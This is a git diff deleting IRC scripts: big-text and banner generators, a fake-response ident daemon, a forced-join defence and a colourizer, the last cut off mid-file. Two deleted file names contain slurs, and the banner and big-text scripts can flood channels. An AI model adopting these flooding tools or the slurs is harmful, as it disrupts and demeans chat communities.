@@ -1,1258 +0,0 @@
-######
-# hueg.pl PRO MODE
-# modded by ma0 and others
-# respekts 2 jakk and others
-# 2020 upd: ported for HexChat by anon
-######
-
-use Xchat qw(:all);
-
-$VERSION = ord 'LOL';
-
-register('hueg', $VERSION, 'make text hueg LOL');
-
-hook_command( "hueg", \&hueg );
-
-my $maxchars = 10; #num of chars b4 split
-my $reverse = 0;
-my $flip = 0;
-my $mirror = 0;
-my $scale = 1;
-my $k = chr 3;
-my $OO = pack('H*', '0f');
-
-sub hueg {
- my $target = context_info()->{channel};
- my $data = $_[1][1];
-
- $in = $data;
- my $rep;
-
- if ($in =~ /-rep (\d+)/i) {
- $rep = $1;
- $in =~ s/-rep \d+//i;
- } else {
- $rep = 1;
- }
- if($in =~ /-scale (\d+)/i) {
- $scale = $1;
- $in =~ s/-scale \d+//i;
- } else {
- $scale = 1;
- }
- if($in =~ /-re/i) {
- $reverse = 1;
- $in =~ s/-re//i;
- } else {
- $reverse = 0;
- }
- if($in =~ /-flip/i){
- $flip = 1;
- $in =~ s/-flip//i;
- } else {
- $flip = 0;
- }
- if($in =~ /-mir/i) {
- $mirror = 1;
- $in =~ s/-mir//i;
- } else {
- $mirror = 0;
- }
-
- $in =~ s/\s+$//;
- if ($in eq '') {
- Xchat::print "/hueg <string> [options]";
- Xchat::print " -rep <num> num of times to scroll msg";
- Xchat::print " -re reverses text";
- Xchat::print " -flip flips text";
- Xchat::print " -mir mirrors your text [NOT WORKIN LOL]";
- Xchat::print " -scale <num> scales shit";
- Xchat::print " num,num,num fg, shadow, bg colors (bg optional)";
- } else {
-
- until ($rep==0) {
-
- # colors();
- if ($data =~ /(\d+),(\d+),(\d+)/) {
- $c2 = "$k$1,$1"; #fg
- $c1 = "$k$2,$2"; #sh
- $c3 = "$k$3,$3"; #bg
- $in =~ s/\d+,\d+,\d+//;
- } elsif ($data =~ /(\d+),(\d+)/) {
- $c2 = "$k$1,$1"; #fg
- $c1 = "$k$2,$2"; #sh
- $c3 = "$OO"; #bg (trans)
- $in =~ s/\d+,\d+//;
- } else {
- $r1 = $r2 = 0;
- until ($r1 > 1) { $r1 = int rand(15); }
- until ($r2 > 1 && $r2 != $r1) { $r2 = int rand(15); }
- $c2 = "$k$r1,$r1"; #fg (rand)
- $c1 = "$k$r2,$r2"; #sh (rand)
- $c3 = "$OO"; #bg (trans)
- }
- ## // colors();
-
- my %db = db1();
-
- ## parse();
- $in =~ s/(\S{$maxchars})/$1 /g;
- undef @s0;
- @s0 = split(' ',$in);
- undef @s1;
- $s1n = 0;
- for $n (@s0) {
- $nlen = length($n);
- $slen = length($s1[$s1n]) + $nlen;
- if ($slen <= $maxchars) {
- $s1[$s1n] .= "$n ";
- } else {
- $s1n++;
- $s1[$s1n] .= "$n ";
- }
- }
- ### // parse()
-
- ## process();
- for $n (@s1) { #each line
- if($reverse) {
- $n = reverse $n;
- }
- $n =~ s/\s$//;
- $n =~ s/^\s//;
- undef @s2;
- @s2 = split(undef,$n);
- my $cur; # current string
- my $tmp;
- for $f (0..8*$scale) {
- for $l (@s2) { #each letter
- $all .= "$c3 $OO";
- if($flip) { $cur = "$db{$l}[(9-$f)/$scale]"; } #line of letter
- else { $cur = "$db{$l}[$f/$scale]"; }
- $whitespace = " " x $scale;
- $cur =~ s/ /$whitespace/g;
- $all .= $cur;
- }
- $all .= "${c3} ";
-
- # Xchat::print $all;
-
- if($mirror) { $all = reverse $all; }
- delaycommand('say '.$all);
- $all = '';
- }
- }
- ### // process()
-
- select(undef,undef,undef,.1); # probably not necessary unless we care if the loop goes forever
- $rep--;
- }
- }
-
- return EAT_HEXCHAT;
-
-}
-
-
-
-# this just makes it so it looks right on your side
-sub delaycommand {
- my $command = $_[0];
- hook_timer( 0,
- sub {
- command($command);
- return REMOVE;
- }
- );
- return EAT_NONE;
-}
-
-
-
-#------------------#
-# character db #
-# lol #
-#------------------#
-
-sub db1 {
-return (
-" " => [
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-"$c3 ",
-],
-"\cC" => [
-"$c3 ",
-"$c1 $c2 $c3 $c1 $c2 $c3",
-"$c1 $c2 $c3 $c1 $c2 $c3 ",
-"$c1 $c2 $c3 $c1 $c2 $c3 ",
-"$c1 $c2 $c3",
-"$c3 $c1 $c2 $c3 $c1 $c2 $c3",
-"$c3 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
-"$c3 ",
-"$c3 ",
-"$c1 $c2 ",
-"$c3 ",
-],
-"\/" => [
-"$c3 ",
-"$c3 $c1 $c2 $c3",
-"$c3 $c1 $c2 $c3 ",
-"$c3 $c1 $c2 $c3 ",
-"$c3 $c1 $c2 $c3 ",
-"$c3 $c1 $c2 $c3 ",
-"$c3 $c1 $c2 $c3 ",
-"$c1 $c2 $c3 ",
-"$c3 ",
-],
-);
-}
diff --git a/irc/identd.py b/irc/identd.py
@@ -1,81 +0,0 @@
-#!/usr/bin/env python
-# ident protocol daemon - developed by acidvegas in Python (https://acid.vegas/random)
-
-import os
-import random
-import re
-import socket
-import string
-import threading
-import pwd
-
-def check_privledges():
- if os.getuid() == 0 or os.geteuid() == 0:
- return True
- else:
- return False
-
-def is_valid_port(port):
- if port > 0 and port <= 65535:
- return True
- else:
- return False
-
-def random_str(size):
- return ''.join(random.choice(string.ascii_letters) for _ in range(size))
-
-class Identd(threading.Thread):
- def __init__(self, protocol, address, port):
- self.protocol = protocol
- self.address = address
- self.port = port
- self.sock = None
- threading.Thread.__init__(self)
-
- def run(self):
- try:
- self._create_sockets()
- self._drop_privledges()
- self._listen()
- except Exception as ex:
- print('error: ' + str(ex))
-
- def _create_sockets(self):
- self.sock = socket.socket(self.protocol)
- self.sock.bind((self.address, self.port))
- self.sock.listen(5)
- self.sock.setblocking(0)
-
- def _drop_privledges(self):
- os.setgroups([])
- os.setgid(pwd.getpwnam('nobody').pw_gid)
- os.setuid(pwd.getpwnam('nobody').pw_uid)
-
- def _listen(self):
- while True:
- client, addr = self.sock.accept()
- data = client.recv(1024).decode('ascii').rstrip()
- source_ip = addr[0][7:] if addr[0][:7] == '::ffff:' else addr[0]
- print(f'[REQUEST] {source_ip}: {data}')
- response = self._parse_data(data)
- client.send(f'{response}\r\n'.encode('ascii'))
- print(f'[ REPLY ] {source_ip}: {response}')
- client.close()
-
- def _parse_data(self, data):
- if not re.match(r'(\d+).*,.*(\d+)', data):
- return data + ' : ERROR : INVALID-PORT'
- lport, rport = data.split(',')
- lport = int(re.sub(r'\D', '', lport))
- rport = int(re.sub(r'\D', '', rport))
- if not is_valid_port(lport) or not is_valid_port(rport):
- return data + ' : ERROR : INVALID-PORT'
- return data + ' : USERID : UNIX : ' + random_str(5)
-
-# Main
-if not check_privledges():
- raise SystemExit('requires sudo privledges to bind to port 113')
-Identd(socket.AF_INET, '0.0.0.0', 113).start()
-Identd(socket.AF_INET6, '::', 113).start()
-while True:
- input('')
-\ No newline at end of file
diff --git a/irc/ircd/gaymircd.tar.gz b/irc/ircd/gaymircd.tar.gz
Binary files differ.
diff --git a/irc/ircd/nigircd.tar.gz b/irc/ircd/nigircd.tar.gz
Binary files differ.
diff --git a/irc/tater/a2m b/irc/tater/a2m
@@ -1 +0,0 @@
-Subproject commit c83c7daac07b20a2e558b15db79114057002c44a
diff --git a/irc/tater/bwu b/irc/tater/bwu
@@ -1 +0,0 @@
-Subproject commit 49afd982c4ed827a374b836a2513e4970d119c76
diff --git a/irc/tater/p2u b/irc/tater/p2u
@@ -1 +0,0 @@
-Subproject commit 0f7aab0efb8410360d129ac92ad82e7be73d438d
diff --git a/irc/tater/tdfiglet b/irc/tater/tdfiglet
@@ -1 +0,0 @@
-Subproject commit 0225b8881d06773b92d9db2c7881f03ff0bdece7
diff --git a/irc/weechat/antifuck.pl b/irc/weechat/antifuck.pl
@@ -1,369 +0,0 @@
-# Released into the Public Domain
-
-use strict;
-use warnings;
-
-no strict 'subs';
-
-my $SCRIPT_NAME = 'antifuck';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.1';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Defend against forcejoins (e.g. from fuckyou.pl) and '.
- 'forceparts (e.g. from /remove)';
-
-my %OPTIONS = (
- autopart => ['Whether to automatically part forcejoined channels. '.
- 'You can always do this manually with /antifuck part', '0'],
- delay => ['Delay in milliseconds to wait before autoparting', '5000'],
- forward => ['Whether to allow channel forwards (+f on freenode)', '1'],
- ignore => ['Servers to ignore (e.g. for bouncers), separated by comma', ''],
- nobufs => ['If 1, do not create buffers for forcejoined channels', '0'],
- timeout =>
- ['Delay in milliseconds to wait for server to send JOIN after join',
- '60000'],
- );
-
-# %channels: channels we joined and received JOIN / NAMES for
-# %zombie: channels we joined but aren't yet in
-# %part: channels we were forced into and will part soon
-# %partbuf: buffers belonging to parted channels, we'll close these on
-# /antifuck part
-our (%channels, %zombie, %part, %partbuf, $fuckbuf, $timeout_cb, $gc_cb);
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
- weechat::hook_command('antifuck', $SCRIPT_DESC, 'part', <<'HELP',
-This script defends against forced joins, such as from irssi's fuckyou.pl or
-from channel forwards, as well as forced parts, such as from the /remove
-command. You can configure certain behaviour using the options under
-"plugins.var.perl.antifuck.*". Configure rejoin-on-/remove with the
-irc.server_default.autorejoin and .autorejoin_delay commands.
-
-Running "/antifuck part" will close all forcejoined channels and part them where
-appropriate.
-HELP
- 'part', 'cmd_antifuck', '');
- weechat::hook_signal('irc_server_connected', 'irc_connect', '');
- weechat::hook_signal('irc_server_disconnected', 'irc_disconnect', '');
- weechat::hook_signal('irc_channel_opened', 'buffer_opened', '');
- weechat::hook_signal('buffer_closed', 'buffer_closed', '');
- weechat::hook_signal('*,irc_out1_join', 'client_join', '');
- weechat::hook_signal('*,irc_out1_part', 'client_part', '');
- weechat::hook_signal('*,irc_raw_in_001', 'irc_001', '');
- weechat::hook_signal('*,irc_raw_in_470', 'irc_470', '');
- weechat::hook_modifier('irc_in_366', 'irc_366', '');
- weechat::hook_modifier('irc_in_join', 'irc_join', '');
- weechat::hook_modifier('irc_in_part', 'irc_part', '');
-
- for my $option (keys %OPTIONS) {
- weechat::config_set_plugin($option, $OPTIONS{$option}[1])
- unless weechat::config_is_set_plugin($option);
- weechat::config_set_desc_plugin($option, $OPTIONS{$option}[0]);
- }
-
- my $iptr = weechat::infolist_get('buffer', '', '');
-
- while (weechat::infolist_next($iptr)) {
- next unless weechat::infolist_string($iptr, 'plugin_name') eq 'irc';
- my $buf = weechat::infolist_pointer($iptr, 'pointer');
- $channels{
- lc weechat::buffer_get_string($buf, 'localvar_server')}{
- lc weechat::buffer_get_string($buf, 'localvar_channel')} = 1;
- }
- weechat::infolist_free($iptr);
-}
-
-sub mynick
-{
- my ($buf, $nick) = ($_[0], $_[1]);
-
- return lc weechat::buffer_get_string($buf, 'localvar_nick') eq lc $nick;
-}
-
-sub ignored
-{
- my $server = shift;
- my $ignore_conf = lc weechat::config_get_plugin('ignore');
-
- return $ignore_conf =~ /(^|,)$server($|,)/;
-}
-
-sub nobufs { weechat::config_get_plugin('nobufs') }
-
-sub ircbuf { weechat::buffer_search('irc', "(?i)".(join '.', @_)) }
-sub ircparse { weechat::info_get_hashtable(irc_message_parse =>
- { message => shift }) }
-
-sub servchan
-{
- my $buf = shift;
-
- return (lc weechat::buffer_get_string($buf, 'localvar_server'),
- lc weechat::buffer_get_string($buf, 'localvar_channel'));
-}
-
-sub reset_gc
-{
- weechat::unhook($gc_cb) if $gc_cb;
- $gc_cb = weechat::hook_timer(weechat::config_get_plugin('timeout'), 0, 1,
- 'run_gc', '');
-}
-
-sub cmd_antifuck
-{
- my (undef, $buffer, $args) = @_;
-
- if ($args eq 'part') {
- # TODO: we really need to spend more time here making sure we send the
- # fewest PARTs possible, a la irc_join_delay
- weechat::buffer_close($fuckbuf);
- }
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub fuckbuf_input { return weechat::WEECHAT_RC_OK; }
-
-sub fuckbuf_close
-{
- weechat::buffer_close($_) for (keys %partbuf);
- %partbuf = ();
- $fuckbuf = '';
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_connect
-{
- my $server = pop;
- my ($autojoin) = (weechat::config_string(weechat::config_get(
- "irc.server.$server.autojoin")) =~ /^([^ ]*)/);
-
- $zombie{$server}{$_} = 1 for (split ',', lc($autojoin));
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_disconnect
-{
- my $server = pop;
-
- $server = lc $server;
- delete $channels{$server};
- delete $zombie{$server};
- delete $part{$server};
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub buffer_opened {
- my $buffer = pop;
- my ($server, $channel) = servchan($buffer);
- return weechat::WEECHAT_RC_OK if exists $channels{$server}{$channel};
- return weechat::WEECHAT_RC_OK if ignored($server);
-
- $fuckbuf = weechat::buffer_new(
- 'antifuck',
- 'fuckbuf_input',
- '',
- 'fuckbuf_close',
- ''
- ) unless $fuckbuf;
-
- weechat::buffer_merge($buffer, $fuckbuf);
- #return weechat::WEECHAT_RC_OK unless weechat::config_get_plugin('autopart');
-
- $partbuf{$buffer} = 1;
- return weechat::WEECHAT_RC_OK;
-}
-
-sub buffer_closed {
- my $buffer = pop;
-
- delete $partbuf{$buffer};
- return weechat::WEECHAT_RC_OK;
-}
-
-sub client_join
-{
- my (undef, $server, $channel) = (shift,
- shift =~ /(.+),irc_out1_join/i,
- shift =~ /^join :?([^ ]*)/i);
- ($server, $channel) = (lc $server, lc $channel);
-
- reset_gc();
-
- ($_ eq '0' ? %{$channels{$server}} = () : $zombie{$server}{$_} = 1)
- for (split ',', $channel);
- return weechat::WEECHAT_RC_OK;
-}
-
-sub client_part
-{
- my (undef, $server, $channel) = (shift,
- shift =~ /(.+),irc_out1_part/i,
- shift =~ /^part ([^ ]*)/i);
- ($server, $channel) = (lc $server, lc $channel);
-
- delete $channels{$server}{$_} for (split ',', $channel);
- return weechat::WEECHAT_RC_OK;
-}
-
-# RPL_WELCOME
-sub irc_001
-{
- my (undef, $server, $message) = (shift,
- shift =~ /(.+),irc_raw_in_001/, shift);
-
- $server = lc $server;
- return weechat::WEECHAT_RC_OK unless $message =~ / :- Welcome to ZNC -$/;
-
- my $ignore_conf = lc weechat::config_get_plugin('ignore');
- return weechat::WEECHAT_RC_OK if $ignore_conf =~ /(^|,)$server($|,)/;
-
- weechat::config_set_plugin('ignore', "$ignore_conf,$server");
-
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_join
-{
- my ($server, $message, $msghash) = (lc $_[2], $_[3], ircparse($_[3]));
- my ($nick, $channel) = ($msghash->{nick}, lc $msghash->{channel});
- my $buffer = ircbuf("$server.$channel");
-
- return $message if exists $channels{$server}{$channel};
- if (exists $zombie{$server}{$channel} || ignored($server)) {
- delete $zombie{$server}{$channel};
- $channels{$server}{$channel} = 1;
- return $message;
- }
- # XXX return $message unless mynick($buffer, $nick);
-
- $part{$server}{$channel} = 1;
- $timeout_cb = weechat::hook_timer(
- weechat::config_get_plugin('delay'), 0, 1, 'irc_join_delay', $buffer)
- unless $timeout_cb || !weechat::config_get_plugin('autopart');
-
- return $message unless nobufs();
-
- $fuckbuf = weechat::buffer_new(
- 'antifuck',
- 'fuckbuf_input',
- '',
- 'fuckbuf_close',
- ''
- ) unless $fuckbuf;
- weechat::print($fuckbuf, weechat::prefix('join').
- weechat::color('irc.color.message_join').
- 'You were forced to join '.weechat::color('chat_channel').$channel.
- weechat::color('irc.color.message_join').', leaving');
-
- return '';
-}
-
-# RPL_ENDOFNAMES
-sub irc_366
-{
- my ($server, $message) = ($_[2], $_[3]);
- my ($nick, $channel) = $message =~ /^:[^ ]* 366 ([^ ]*) ([^ ]*)/i;
- my $buffer = ircbuf("$server.$channel");
- ($server, $channel) = (lc $server, lc $channel);
-
- return $message if exists $channels{$server}{$channel};
- return '' if nobufs();
-
- weechat::print($buffer, weechat::prefix('network').
- 'Forcejoined, not syncing modes');
-
- return '';
-}
-
-# ERR_LINKCHANNEL
-sub irc_470
-{
- my (undef, $server, $oldchan, $newchan) = (shift,
- shift =~ /(.+),irc_raw_in_470/,
- shift =~ /^:[^ ]* 470 [^ ]+ ([^ ]+) ([^ ]+)/);
- ($server, $oldchan, $newchan) = (lc $server, lc $oldchan, lc $newchan);
-
- delete $channels{$server}{$oldchan};
- $channels{$server}{$newchan} = 1 if weechat::config_get_plugin('forward');
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_join_delay
-{
- my $buffer = shift;
-
- for my $server (keys %part) {
- my $chans = '';
-
- for my $chan (keys %{$part{$server}}) {
- if (length($chans) + length($chan) > 500) {
- weechat::hook_signal_send('irc_input_send',
- weechat::WEECHAT_HOOK_SIGNAL_STRING,
- "$server;;priority_low;;/part $chans");
- $chans = '';
- }
-
- $chans .= "$chan,";
- }
-
- weechat::hook_signal_send('irc_input_send',
- weechat::WEECHAT_HOOK_SIGNAL_STRING,
- "$server;;priority_low;;/part $chans");
- }
- $timeout_cb = '';
- %part = ();
- return weechat::WEECHAT_RC_OK;
-}
-
-sub run_gc
-{
- %zombie = ();
- return weechat::WEECHAT_RC_OK;
-}
-
-sub irc_part
-{
- my ($server, $message, $msghash) = ($_[2], $_[3], ircparse($_[3]));
- my ($arj, $arj_delay, $arjd, $arjd_delay) = (
- weechat::config_get("irc.server.$server.autorejoin"),
- weechat::config_get("irc.server.$server.autorejoin_delay"),
- weechat::config_get("irc.server_default.autorejoin"),
- weechat::config_get("irc.server_default.autorejoin_delay")
- );
- return $message unless (
- weechat::config_option_is_null($arj) ?
- weechat::config_boolean($arjd) :
- weechat::config_boolean($arj)
- );
-
- my ($nick, $channel, $reason) = ($msghash->{nick}, $msghash->{channel},
- $msghash->{text});
-
- my $buffer = ircbuf("$server.$channel");
- my ($lserver, $lchannel) = (lc $server, lc $channel);
-
- return $message unless mynick($buffer, $nick);
- return $message unless exists $channels{$lserver}{$lchannel};
- return $message if ignored($lserver);
-
- weechat::print($buffer, weechat::prefix('quit').
- weechat::color('irc.color.message_quit').
- 'You were forced to part '.weechat::color('chat_channel').$channel.
- weechat::color('chat_delimiters').' ('.weechat::color('reset').
- $reason.weechat::color('chat_delimiters').')'.
- weechat::color('irc.color.message_quit').', rejoining');
- my $delay = (
- weechat::config_option_is_null($arj_delay) ?
- weechat::config_integer($arjd_delay) :
- weechat::config_integer($arj_delay)
- );
- weechat::command($buffer, ($delay ? "/wait $delay " : "").
- "/join $channel");
-
- return '';
-}
diff --git a/irc/weechat/banner.pl b/irc/weechat/banner.pl
@@ -1,332 +0,0 @@
-use strict;
-use warnings;
-no strict 'subs';
-
-my $SCRIPT_NAME = 'banner';
-my $SCRIPT_AUTHOR = 'The Krusty Krab <wowaname@volatile.ch>';
-my $SCRIPT_VERSION = '1.0';
-my $SCRIPT_LICENCE = 'Public domain';
-my $SCRIPT_DESC = 'Banner text';
-our (%queue, %timer);
-
-if (weechat::register($SCRIPT_NAME, $SCRIPT_AUTHOR, $SCRIPT_VERSION,
- $SCRIPT_LICENCE, $SCRIPT_DESC, '', '')) {
- weechat::hook_command('banner', 'Banner text',
- "[-nick|-key|-limit] text",
- "-nick: send to /nick command\n".
- "-key: send as /mode +k (doesn't work on all ircds)\n".
- "-limit: send as /mode +l\n",
- '', 'cmd_banner', '');
-}
-
-sub cmd_banner
-{
- my ($buffer, $cmd) = ($_[1], $_[2]);
- my ($flag, $text) = $cmd =~ /^(-nick|-key|-limit|) *(.*)$/;
- my @output;
- my $prefix = '/msg *';
- my $nick = weechat::info_get('irc_nick',
- weechat::buffer_get_string($buffer, 'localvar_server'));
-
-my @chars = ('````````^',
-'XX``XXXXX',
-'``````XXX
-`````````
-``````XXX',
-'``X```X``
-XXXXXXXXX
-``X```X``
-XXXXXXXXX
-``X```X``',
-'`````XX``
-`X``X``X`
-XX``X``XX
-`X``X``X`
-``XX`````',
-'```X```XX
-XX``X``XX
-XX```X```',
-'```X`X```
-X`X`X`X`X
-``X```X``',
-'``````XXX',
-'`XXXXXXX`
-X```````X',
-'X```````X
-`XXXXXXX`',
-'``````X`X
-```````X`
-``````X`X',
-'````X````
-```XXX```
-````X````',
-'X````````
-`XX``````',
-'````X```^
-````X````',
-'X````````',
-'XXX``````
-```XXX```
-``````XXX',
-'`XXXXXXX`
-X```````X
-`XXXXXXX`',
-'X``````X`
-XXXXXXXXX
-X````````',
-'XXX````X`
-X``XX```X
-X````XXX`',
-'`X`````X`
-X```X```X
-`XXX`XXX`',
-'````XXX``
-````X``X`
-XXXXXXXXX',
-'X```XXXXX
-X```X```X
-`XXX````X',
-'`XXXXXXX`
-X```X```X
-`XXX`````',
-'XXX`````X
-```XXX``X
-``````XXX',
-'`XXX`XXX`
-X```X```X
-`XXX`XXX`',
-'`````XXX`
-X```X```X
-`XXXXXXX`',
-'``XX`XX``',
-'`X```````
-``XX`XX``',
-'````X````
-```X`X```
-``X```X``',
-'```X`X```
-```X`X``^
-```X`X```',
-'``X```X``
-```X`X```
-````X````',
-'```````X`
-XX``X```X
-`````XXX`',
-'`XXXXXXX`
-X``XXX``X
-X`X```X`X
-X`XXXXXXX',
-'XXXXXXXX`
-````X```X
-XXXXXXXX`',
-'XXXXXXXXX
-X```X```X
-`XXX`XXX`',
-'`XXXXXXX`
-X```````X
-`X`````X`',
-'XXXXXXXXX
-X```````X
-`XXXXXXX`',
-'XXXXXXXXX
-X```X```X
-X```````X',
-'XXXXXXXXX
-````X```X
-````````X',
-'`XXXXXXX`
-X```````X
-`XXX```X`',
-'XXXXXXXXX
-````X````
-XXXXXXXXX',
-'X```````X
-XXXXXXXXX
-X```````X',
-'`X``````X
-X```````X
-`XXXXXXXX',
-'XXXXXXXXX
-````X````
-```X`X```
-XXX```XXX',
-'XXXXXXXXX
-X````````',
-'XXXXXXXXX
-``````XX`
-``XXXX```
-``````XX`
-XXXXXXXXX',
-'XXXXXXXXX
-``````XX`
-```XXX```
-`XX``````
-XXXXXXXXX',
-'XXXXXXXXX
-X```````X
-XXXXXXXXX',
-'XXXXXXXXX
-````X```X
-`````XXX`',
-'`XXXXXXXX
-XX``````X
-XXXXXXXXX
-X````````',
-'XXXXXXXXX
-````X```X
-XXXX`XXX`',
-'`X```XXX`
-X```X```X
-`XXX```X`',
-'````````X
-XXXXXXXXX
-````````X',
-'XXXXXXXXX
-X````````
-XXXXXXXXX',
-'```XXXXXX
-XXX``````
-```XXXXXX',
-'`XXXXXXXX
-X````````
-`XXXX````
-X````````
-`XXXXXXXX',
-'XXX```XXX
-```XXX```
-XXX```XXX',
-'`````XXXX
-XXXXX````
-`````XXXX',
-'XXX`````X
-X``XXX``X
-X`````XXX',
-'XXXXXXXXX
-X```````X',
-'``````XXX
-```XXX```
-XXX``````',
-'X```````X
-XXXXXXXXX',
-'```````X`
-````````X
-```````X`',
-'X````````
-X```````^
-X````````',
-'````````X
-```````X`',
-'`X``X````
-X`X`X````
-XXXX`````',
-'XXXXXXXXX
-X```X````
-`XXX`````',
-'`XXX`````
-X```X````
-X```X````',
-'`XXX`````
-X```X````
-XXXXXXXXX',
-'`XXX`````
-X`X`X````
-X`XX`````',
-'XXXXXXXX`
-````X```X',
-'X``X`````
-X`X`X````
-`XXXX````',
-'XXXXXXXXX
-````X````
-XXXX`````',
-'XXXXX``X`',
-'X````````
-`XXXX``X`',
-'XXXXXXXXX
-````X````
-XXXX`X```',
-'X```````X
-XXXXXXXXX
-X````````',
-'XXXXX````
-````X````
-XXXX`````
-````X````
-XXXX`````',
-'XXXXX````
-````X````
-XXXX`````',
-'XXXXX````
-X```X````
-XXXXX````',
-'XXXXX````
-`X``X````
-``XX`````',
-'``XX`````
-`X``X````
-XXXXX````',
-'XXXXX````
-````X````',
-'X``X`````
-X`X`X````
-`X``X````',
-'`XXXXXXX`
-X```X````',
-'`XXXX````
-X````````
-XXXXX````',
-'``XXX````
-XX```````
-``XXX````',
-'`XXXX````
-X````````
-`XXX`````
-X````````
-`XXXX````',
-'XX`XX````
-``X``````
-XX`XX````',
-'X``XX````
-X`X``````
-`XXXX````',
-'XX``X````
-X`X`X````
-X``XX````',
-'````X````
-XXXX`XXXX
-X```````X',
-'XXXXXXXXX',
-'X```````X
-XXXX`XXXX
-````X````',
-' ```````X`
-````````X
-```````X`
-````````X');
-
- for ($flag) {
- /-nick/ and $prefix = '/nick', last;
- /-key/ and $prefix = '/mode +k', last;
- /-limit/ and $prefix = '/mode +l', last;
- }
-
- if ($flag eq '-limit') { $chars[$_] =~ y/`X/18/ for (0 .. (@chars - 1)) }
-
- for my $char (split //, $text) {
- push @output, $flag eq '-limit' ? '111111111' : '`````````';
- push @output, split /\n/, $chars[ord($char) - 0x20];
- }
-
- weechat::command($buffer, "$prefix $_") for @output;
-
- for ($flag) {
- /-nick/ and weechat::command($buffer, "/nick $nick"), last;
- /-key/ and weechat::command($buffer, "/mode +k `````````"),
- weechat::command($buffer, "/mode -k `````````"),
- last;
- /-limit/ and weechat::command($buffer, "/mode -l"), last;
- }
-
- return weechat::WEECHAT_RC_OK;
-}
diff --git a/irc/weechat/colo.py b/irc/weechat/colo.py
@@ -1,170 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Released into the Public Domain
-
-"""colo: make your chats noticable"""
-
-import random
-import re
-import weechat
-
-SCRIPT_NAME = "colo"
-SCRIPT_AUTHOR = "The Krusty Krab <wowaname@volatile.ch>"
-SCRIPT_VERSION = "2.2"
-SCRIPT_LICENSE = "Public domain"
-SCRIPT_DESC = "Makes your chats noticable"
-
-# script options
-settings = {
- "fmt": (
- "%c13♥ %0%s%o %c13♥",
- "Format string for text. %0 - %9 are different colours, %s is text, "
- "%c %b %u %r %o are ^C ^B ^U ^R ^O respectively, and %% is a literal "
- "percent sign. %0 is the primary colour that should be used with %s.",
- ),
- "fgs": (
- "04,05,06,13",
- "Colour codes to cycle for the foreground. "
- "Leave blank for no foreground colours.",
- ),
- "bgs": (
- "",
- "Colour codes to cycle for the background. "
- "Leave blank for no background colours.",
- ),
- "ignore_buffers": (
- "bitlbee.*,scripts",
- "List of buffers to ignore. Glob matches unless "
- "you prefix the name with 're:'.",
- ),
- "whitelist_buffers": (
- "",
- "List of buffers to whitelist. Glob match unless "
- "you prefix the name with 're:'. Useful with "
- "ignore_buffers = \"*\"",
- ),
- "whitelist_cmds": (
- "me,amsg,say",
- "Commands to colour.",
- ),
- "profiles": (
- "> greentext,! alert",
- "List of prefix/profile pairs. If you type one of "
- "these prefixes at the beginning of your message, "
- "the options will switch to (profile)_pre, "
- "(profile)_suf, (profile)_fgs, and (profile)_bgs. ",
- ),
- "greentext_fmt": "%c3> %s",
- "alert_fmt": "%c1,8/!\\%c8,1 %s %o%c1,8/!\\"
-}
-
-
-if weechat.register(SCRIPT_NAME, SCRIPT_AUTHOR, SCRIPT_VERSION, SCRIPT_LICENSE,
- SCRIPT_DESC, "", ""):
- for opt, val in settings.iteritems():
- setting, desc = val if type(val) == tuple else (val, "")
- if desc: weechat.config_set_desc_plugin(opt, desc)
- if weechat.config_is_set_plugin(opt): continue
- weechat.config_set_plugin(opt, setting)
-
- weechat.hook_modifier("input_text_for_buffer", "cb_colo", "")
-
-# prevent looping
-nest = False
-
-def glob_match (haystack, needle):
- return re.search("^%s$" %
- re.escape(haystack).replace(r"\?", ".").replace(r"\*", ".*?"),
- needle)
-
-def is_command (string):
- return (string.startswith("/") and not string.startswith("/ ") and
- string != "/" and string.split(" ", 1)[0].split("\n", 1)[0].find("/", 1)
- < 0)
-
-def cb_colo (data, mod, buf, input):
- global nest
- if nest:
- nest = False
- # return input
- buffer_name = weechat.buffer_get_string(buf, "name").lower()
- output = ""
- profile = ""
-
- for pattern in weechat.config_get_plugin("whitelist_buffers").lower().split(","):
- if (pattern.startswith("re:") and
- re.search(pattern[3:], buffer_name)) or glob_match(pattern, buffer_name):
- break
- else:
- for pattern in weechat.config_get_plugin("ignore_buffers").lower().split(","):
- if (pattern.startswith("re:") and
- re.search(pattern[3:], buffer_name)) or glob_match(pattern, buffer_name):
- return input
-
- if not input:
- return input
-
- if is_command(input):
- for cmd in weechat.config_get_plugin("whitelist_cmds").lower().split(","):
- if not input.startswith("/%s " % cmd): continue
- output = "/%s " % cmd
- input = input.split(" ", 1)[1] if " " in input else ""
- break
- else:
- # XXX
- return input.replace('\r','')
-
- if input.startswith("//"): input = input[1:]
-
- for profile_pairs in weechat.config_get_plugin("profiles").split(","):
- prefix, name = profile_pairs.split()
- if not input.startswith("%s " % prefix): continue
- profile = "%s_" % name
- input = input.split(" ",1)[1] if " " in input else ""
- for opt in ("fmt", "fgs", "bgs"):
- if weechat.config_is_set_plugin(profile + opt): continue
- weechat.config_set_plugin(profile + opt, "")
- break
-
- fgs = weechat.config_get_plugin("%sfgs" % profile).split(",")
- bgs = weechat.config_get_plugin("%sbgs" % profile).split(",")
- fmt = weechat.config_get_plugin("%sfmt" % profile).split("%%")
-
- for i in xrange(len(fmt)):
- fmt[i] = fmt[i].replace("%c", "\x03").replace("%b",
- "\x02").replace("%u", "\x1f").replace("%r",
- "\x16").replace("%o", "\x0f")
- if fgs == [""] and bgs == [""]: continue
- for j in xrange(10):
- base = "\x03%s%s%s" % (
- random.choice(fgs),
- "," if bgs != [""] else "",
- random.choice(bgs),
- )
- fmt[i] = fmt[i].replace("%%%d" % j, base)
- if j: continue
- input = re.sub(
- "\x03([^0-9])",
- "\x03%s\\1" % base,
- input.replace("\x0f","\x0f%s" % base))
-
- fmt = "%".join(fmt)
- nest = is_command(fmt)
